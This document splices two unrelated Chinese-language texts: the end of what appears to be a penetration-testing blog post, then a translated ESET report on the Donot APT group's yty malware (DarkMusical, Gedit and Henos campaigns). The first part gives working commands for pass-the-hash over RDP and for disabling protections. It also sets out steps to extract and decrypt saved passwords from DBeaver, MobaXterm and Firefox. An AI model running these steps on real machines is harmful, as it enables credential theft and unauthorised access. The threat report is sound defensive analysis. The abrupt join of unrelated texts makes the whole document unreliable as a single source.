reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f 

###RDP的PTH
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要被登录的系统开启”Restricted Admin Mode”, 在Windows8.1和Windows Server 2012R2上默认开启。Windows7和WinServer 2008需要安装2871997、2973351布丁。

1.启动RDP

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  # 监听 3389 端口 

开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

2.开启Restricted Admin mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

3.增加防火墙规则

netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=TCP localport=3389 action=allow

0x04 dump passwod

####dbeaver

dbeaver6的配置文件(不同版本存储的位置和解密方式不一样):

#密码加密存储位置:
C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\credentials-config.json

#url和用户名:
C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\data-sources.json

解密脚本: https://gist.github.com/felipou/50b60309f99b70b1e28f6d22da5d8e61

下载credentials-config.json脚本之后,使用python解密:python decrypt.py credentials-config.json,然后根据解密出来的id去data-sources.json里面找对应的IP和用户名。

老版本的密码是存储在:C:\Users\<users>\.dbeaver4\General\.dbeaver-data-source.xml,可以直接使用在线解密:http://dbeaver-password-decrypter.s3-website-us-west-2.amazonaws.com/

0x05 MobaXterm

有一个.ini的文件,有对应的IP信息和私钥地址
老版本的存储: C:\Users%USERNAME%\AppData\Roaming\MobaXterm
2020年的版本: C:\Users%USERNAME%\Documents\MobaXterm

0x05 VSCODE

Windows下的配置文件在这个地方:

%APPDATA%\Code\User\settings.json

可以根据配置文件找到笔记和ssh等存储位置

0x06 Firefox

三好师傅讲的很详细,我选择使用firepwd.py:

firefox的配置文件目录:
%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\

下载解密需要的文件:
key4.db和logins.json

下载解密脚本:
https://github.com/lclevy/firepwd

上面三个东西放在一个文件夹:
python3 firepwd.py 

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAFirefox%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

0x07 截屏

  1. CS里面的screenshot
  2. msf里面: use espia screengrab
  3. msf的持续截屏: post/windows/gather/screen_spy
  4. Win10自带: psr.exe /start /gui 0 /output C:\cool.zip /maxlogsize 1

0x08 搜索文件

在C盘搜索script.js这个文件:
dir /s /b C:\script.js


原文连接:https://jkme.github.io/2020/05/14/workgroup-pentest2.html

近日,ESET 研究人員深入研究了Donot組織在2020 年和2021 年期間針對多個南亞國家的政府和軍事對象實施的攻擊。

Donot組織(也稱為APT-C-35 和SectorE02)是一個至少從2016年開始運營的威脅組織,並以使用Windows和Android惡意軟件攻擊南亞的組織和個人而聞名。 Amnesty International最近的一份報告將該組織與一家印度網絡安全公司聯繫起來,後者可能正在向該地區的政府出售間諜軟件或提供黑客出租服務。

我們一直在密切關注Donot組織的活動,並追踪了幾起利用源自該組織的簽名yty 惡意軟件框架的Windows 惡意軟件的活動。根據我們的發現,這個組織非常執著地攻擊者一個目標,至少在過去的兩年裡一直以相同的組織為目標。

我們會在本文介紹最近活動中使用的惡意軟件的兩種變體——DarkMusical 和Gedit。對於每一種變體,我們都會分析整個攻擊鏈,並深入了解該組織如何更新其工具、策略和技術。

攻擊目標分析Donot組織的活動以間諜活動為主要載體,使用他們的簽名惡意軟件:“yty”惡意軟件框架,其主要目的是收集和洩露數據。根據我們的追踪,Donot組織專注於南亞的幾個目標——孟加拉國、斯里蘭卡、巴基斯坦和尼泊爾——如下圖所示。

1.png

Donot組織專注的目標國家

這些攻擊集中在:

政府和軍事組織;

外交部;

大使館;

除了南亞的幾個國家之外,如中東、歐洲、北美和拉丁美洲的國家也在Donot組織的攻擊範圍之內。

對於APT運營商來說,在某些情況下,這是通過部署一個更隱蔽的後門來實現的,該後門在攻擊者需要它之前一直保持安靜。在其他情況下,他們只是用新的惡意軟件或以前使用過的惡意軟件的變體重新啟動操作。後者是Donot組織操作人員的情況,只是他們在嘗試中非常堅持。

根據ESET的分析,Donot組織每隔兩到四個月就會針對同一對象發送一波又一波帶有惡意附件的釣魚郵件。有趣的是,我們能夠檢索和分析的電子郵件並沒有顯示出被誘騙的跡象。一些電子郵件是從受到攻擊的同一組織發送的。攻擊者可能已經在早期的活動中攻擊了一些受害者的電子郵件帳戶,或者這些組織使用的電子郵件服務器。

通過魚叉式網絡釣魚電子郵件,攻擊者使用惡意Microsoft Office 文檔來部署他們的惡意軟件。我們已經看到Donot組織至少使用了三種技術。一種是Word、Excel 和PowerPoint 文檔中的宏,如下圖所示。

2.png

PowerPoint 文檔中的惡意宏,它刪除了一個下載器可執行文件並創建了一個計劃任務來運行它

第二種技術是具有.doc擴展名的RTF文件,該文件利用方程編輯器中的內存破壞漏洞CVE-2017-11882,如下圖所示。這些RTF 文檔還包含兩個作為OLE 對象的嵌入式DLL,用於安裝並下載更多組件(這兩個DLL 都在Gedit 部分中進行了描述)。這允許攻擊者執行shellcode 並且不需要用戶交互,shellcode 部署了惡意軟件的主要組件。 CVE-2017-11882是微軟公佈的一個遠程執行漏洞,通殺目前市面上的所有office版本及Windows操作系統。該漏洞的成因是EQNEDT32.EXE進程在讀入包含MathType的ole數據時,在復制公式名稱名稱時沒有對名稱長度進行校驗,從而造成棧緩衝區溢出,是一個非常經典的棧溢出漏洞。上次出現這麼典型的office棧溢出漏洞是著名的CVE-2012-0158。

3.png

RTF 文檔用於加載公式編輯器的COM 對象的CLSID,隨後的OLE 對象包含CVE-2017-1182 漏洞利用

4.png

DLL 的OLE 對象標頭也嵌入在RTF 文檔中

第三種技術是遠程RTF 模板注入,它允許攻擊者在打開RTF 文檔時從遠程服務器下載有效負載。這是通過在RTF 文件格式的可選\*\template 控製字中插入URL 而不是本地文件資源的位置來實現的。 Donot組織使用的有效負載是另一個利用CVE-2017-11882 的文檔,下載後會自動加載,如下圖所示。

5.png

當Word 打開帶有遠程模板的RTF 文件時,它會自動嘗試下載資源

yty惡意軟件框架由NetScout 在2018 年發現的yty 惡意軟件框架是舊框架EHDevel 的一個不太複雜且開發不佳的變體。 yty框架由一系列下載程序組成,這些下載程序最終會下載一個帶有最小功能的後門程序,用於下載和執行Donot組織工具集的其他組件。

其中包括基於文件擴展名和創建年份的文件收集器、屏幕捕獲器、鍵盤記錄器、反向shell 等。如下圖所示,用於滲透的組件從暫存文件夾收集收集的情報,並將每個文件上傳到僅用於此目的的指定服務器。

6.png

解析暫存JPEG 屏幕截圖的文件夾名稱的組件(左)和在暫存文件夾中查找所有文件的滲透組件(右)

幾乎每個新的攻擊活動都會更改暫存文件夾的名稱和位置,以及一些組件的文件名。但是,在某些情況下,組件的名稱保持不變,例如:gedit.exe、wuaupdt.exe、lmpss.exe、disc.exe 等。如下圖所示,似乎對於每個新的活動,為了設置新的路徑和文件名,必須在源代碼中更改這些值然後重新編譯,因為這些組件都沒有使用配置塊或文件。

7.png

包含經常更改的位置和文件名的加密字符串(頂部)和用於構建CC URL 的未加密值(底部)

該惡意軟件使用計劃任務進行持久化攻擊,並在活動之間交替使用DLL 和EXE 文件。對於DLL,計劃任務執行rundll32.exe 以加載它們並執行導出的函數之一。

yty框架的開發人員主要依賴c++編程語言,可能是為了逃避檢測,他們還將其組件移植到其他語言,例如VBScript、Python(與PyInstaller 一起打包)、Visual C# 和AutoIt 等。然而,自2019 年以來,我們只看到他們利用C++和Go編程的組件。

8.png

捕獲屏幕截圖的組件的反編譯代碼,最初是用c++編寫的

9.png

用於用Go編寫的版本的組件截圖的反編譯代碼

該惡意軟件在部署過程中有時會使用兩到三個服務器。它可能在其下載鏈中使用一個服務器,而後門可能會使用另一台服務器來接收其命令並下載更多組件,或者將同一台服務器用於這兩種目的。總是使用不同的服務器上傳收集的信息。在一些攻擊中,Donot組織重用了以前攻擊的CC域——用於下載和滲透。如下圖所示,這些組件(後來被認為是DarkMusical 的變體)在同一攻擊中使用,採用了三個不同的CC 域。

10.png

第一個下載器解密服務器的URL,從該服務器下載鏈的下一個階段

11.png

在後期階段,後門使用不同的服務器進行CC 通信

12.png

滲透組件使用第三個服務器上傳收集的文件時間軸的攻擊

我們在本文中描述了從2020 年9 月到2021 年10 月的Donot組織在活動中使用的惡意軟件變體,重點關注他們的Windows 惡意軟件。為清楚起見,我們將它們分為yty 惡意軟件框架的兩個變體:Gedit 和DarkMusical,其中一個使用Gedit的特定活動,我們將其命名為Henos。

根據我們的追踪分析,攻擊的時間線如下圖所示。統計時,還包括了來自另一個變體的攻擊,稱為“Jaca框架”。然而,我們不會在本文描述它,因為它已在CN-SEC中進行過介紹。

13.png

從2020年9月到2021年10月,Donot組織的攻擊時間線

DarkMusical根據ESET 的分析,使用此變體的第一波攻擊發生在2021 年6 月,針對孟加拉國的軍事組織。我們只能恢復其下載鍊及其主要後門。鑑於受害者人數很少,我們認為這可能是一次針對性很強的攻擊。

9 月,針對尼泊爾軍事組織的第二波攻擊使用了新的CC 服務器以及文件和暫存文件夾名稱。我們能夠恢復一些從後門下載的組件,進而分析這些攻擊。

魚叉式釣魚郵件發送的PowerPoint文檔中包含一個宏,該宏部署了下載鏈的第一個組件,並使用一個計劃任務進行持久化。當潛在的受害者打開這些文檔時,他們將看到一條虛假的錯誤消息,如下圖所示,這些文檔將仍然沒有任何可見的內容。

14.png

一個空白的惡意PowerPoint 文檔的屏幕截圖

如下圖所示,下載程序鏈旨在下載最終組件,該組件用作具有最少功能的後門:它下載獨立組件,使用ShellExecute Windows API 執行它們,獲取並保存新的CC URL。 ShellExecute的功能是運行一個外部程序或者是打開一個已註冊的文件、打開一個目錄、打印一個文件等,並對外部程序有一定的控制。

後門將處理信息收集和洩露的組件下載到專用服務器。這些組件不與後門或CC 通信以報告其活動。相反,它們使用指定的文件夾來暫存數據,一個單獨的滲透組件將收集所有內容並上傳。

15.png

觀察到的DarkMusical攻擊鏈

我們決定將此活動稱為DarkMusical,因為攻擊者為其文件和文件夾選擇名稱時,許多是西方名人或電影中的角色。下表簡要描述了攻擊鏈中每個組件的用途。

DarkMusical 攻擊活動鏈中的組件:

16.png

我們在下表中描述了攻擊者工具集的每個組件的用途。

攻擊者DarkMusical 工具集中的組件描述:

16加.png

geditgedit是一個GNOME桌面環境下兼容UTF-8的文本編輯器,它使用GTK+編寫而成,它十分的簡單易用,有良好的語法高亮,支持包括gb2312、gbk在內的多種字符編碼,是一個自由軟件。

我們在2020 年9 月使用Gedit 檢測到該活動的首次攻擊,攻擊對像是巴基斯坦的一些組織,這些組織已經成為安裝了Jaca框架的魚叉式釣魚和惡意RTF文件的目標。從那時起,Donot組織開始將目標定位在孟加拉國、尼泊爾和斯里蘭卡。雖然該惡意軟件顯然源自yty 惡意軟件框架,但它們是截然不同的,與DarkMusical是兩個獨立的程序。

我們能夠檢索到與2021年2月發生的Gedit活動對應的魚叉式釣魚電子郵件,如下圖所示。第一個附件包含一份來自孟加拉國軍事對象的人員名單(沒有惡意內容)。在執行惡意代碼時,第二個附件只顯示了一個空白頁面。

17.png

攻擊者發送的魚叉式釣魚電子郵件的屏幕截圖

我們可以看到第二個文件的大小大於2 MB,這是一個利用CVE-2017-11882 刪除文檔中包含的兩個DLL 文件並執行其中一個的RTF 文件。其他組件在各個階段下載到受感染的計算機上。此攻擊鍊及其惡意軟件組件的概述如下圖所示。

18.png

Gedit 活動中的攻擊鏈

這些組件是用Go 和C++(使用MinGW 和Visual Studio 編譯器)編寫的。我們選擇描述2021 年2 月該活動中使用的組件,如下表所示。

對Gedit 變體的組件描述19.png

Henos攻擊活動

最後,值得一提的是,在2021年2月至3月間發生了一系列針對孟加拉國和斯里蘭卡軍事組織的攻擊。這些攻擊使用了Gedit惡意軟件的變體,但進行了一些小的修改。因此,我們決定將這個活動以它的後門DLL – henos.dll 命名命名為Henos。

去年2月,網上也公開了屬於這波攻擊的組件的樣本,這可能解釋了為什麼該組織不再使用這些組件的原因。

雖然我們沒有找到相應的魚叉式釣魚郵件或惡意文檔,但攻擊鏈與我們上面描述的大致相同,只是在組件的執行方式上存在一些細微差別。下圖對此進行了概述。

20.png

Henos 活動的攻擊鏈

雖然該活動的某些組件被命名為javatemp.exe 和pytemp.exe,但選擇這些文件名可能只是為了模仿Java 或Python 等合法軟件。 pytemp.exe 和plaapas.exe 是用Go 語言編碼的,而javatemp.exe 是用C++ 編碼的(用MinGW 編譯的)。

最後一點是執行文件洩漏的組件pytemp.exe 會執行檢查以查看gedit.exe 是否正在運行。如果找到兩個或更多實例,則退出。我們認為這是開發時候的錯誤,因為它應該檢查pytemp.exe。然而,這個簡單的錯誤幫助我們將Henos 活動與惡意軟件的Gedit 變體(添加到代碼相似性中)聯繫起來。